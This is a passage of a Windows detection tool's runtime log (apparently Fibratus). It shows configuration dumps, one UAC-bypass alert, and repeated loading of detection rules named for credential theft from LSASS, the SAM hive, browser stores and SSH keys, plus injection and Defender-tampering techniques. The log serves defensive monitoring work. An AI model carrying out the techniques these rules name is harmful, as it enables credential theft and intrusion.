trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] fastscan=>true excluded-procs=>[] skip-mmaps=>false skip-allocs=>false skip-registry=>false skip-files=>false enabled=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T14:39:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:39:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:40:00+01:00 level=info msg=sending alert: [UAC bypass via NTFS junction DLL hijacking]. Text: Event(s): source=action/alert.go:37 +time=2025-11-21T14:40:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T14:40:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:40:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:40:52+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-21T14:40:52+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-21T14:40:52+01:00 level=info msg=bootstrapping with pid 17708. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T14:40:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html use-template=>true to=>[] enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true min-buffers=>16 max-buffers=>36 enable-net=>true enable-thread=>true flush-interval=>1s enable-handle=>false enable-threadpool=>false enable-registry=>true enable-vamap=>true enable-mem=>false enable-dns=>false stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-image=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 max-age=>0 max-size=>100 formatter=>text] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false enabled=>false template-name=>fibratus bulk-workers=>1 flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s timeout=>5s trace-log=>false healthcheck-interval=>10s healthcheck=>true] amqp=>[ delivery-mode=>transient exchange=>fibratus vhost=>/ exchange-type=>topic passive=>false timeout=>5s routing-key=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false enabled=>false durable=>false] http=>[ enabled=>false endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false method=>POST serializer=>json timeout=>5s]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s enabled=>false skip-allocs=>false excluded-procs=>[] skip-files=>false fastscan=>true excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T14:40:52+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:40:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T14:41:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T14:41:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T14:41:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T15:31:19+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-21T15:31:19+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-21T15:31:20+01:00 level=info msg=loading rule from 